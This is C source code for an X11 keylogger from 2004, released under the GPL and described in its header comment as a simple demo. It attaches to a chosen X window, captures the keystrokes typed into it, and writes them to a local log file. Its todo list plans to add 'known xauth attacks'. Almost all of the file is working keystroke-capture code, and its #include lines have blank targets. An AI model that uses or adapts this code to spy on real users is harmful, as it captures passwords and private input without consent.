/* A very simple X11 keylogger. Not extremely useful, but an OK demo. Keep in mind this is the first time I've touched Xlib, which probably explains why it is so ugly. You give it the window id (currently it only handles stuff on the default display) and it dumps a log of keys pressed. For some reason it doesn't work with Mozilla or gnome-terminal (works fine with xterm or emacs). If someone who knows more about X can clue me in on why, I would appreciate it. (C) 2004 Jack Lloyd (lloyd@randombit.net) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Todo: - Fix the problem with Mozilla, etc - Better control character decoding - Integrate xwininfo-like abilities - Integrate known xauth attacks */ #include #include #include #include #include static FILE* log; static void add_to_log(char c) { if(c == '\n' || c == '\r') fprintf(log, "\n"); else if(c == 8) fprintf(log, "^H"); else if(isprint(c)) fprintf(log, "%c", c); fflush(log); } static void log_event(XEvent* event) { XKeyEvent *key_event = (XKeyEvent *)event; KeySym ks; char str[256+1] = { 0 }; int n = XLookupString(key_event, str, sizeof(str) - 1, &ks, NULL); printf("%s", str); if(n != 1) /* always 1 for stuff we want, as far as I can tell */ return; add_to_log(str[0]); } static void die(const char* func) { fprintf(stderr, "Call to %s failed, good bye\n", func); exit(1); } int main(int argc, char* argv[]) { Display *display; XSetWindowAttributes attr; Window window; int screen; int done = 0; char filename[256+1] = { 0 }; if(argc != 2) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } display = XOpenDisplay(NULL); if(!display) die("XOpenDisplay"); screen = DefaultScreen(display); window = strtol(argv[1], NULL, 16); /* select for key press events + destruction event */ attr.event_mask = KeyPressMask | KeyReleaseMask | StructureNotifyMask; if(XSelectInput(display, window, attr.event_mask) == 0) die("XSelectInput"); snprintf(filename, 256, "logger-%x.log", (int)window); log = fopen(filename, "w"); if(!log) die("fopen"); while(!done) { XEvent event; XNextEvent(display, &event); if(event.type == KeyPress) log_event(&event); else if(event.type == DestroyNotify) done = 1; } fclose(log); XCloseDisplay(display); return 0; }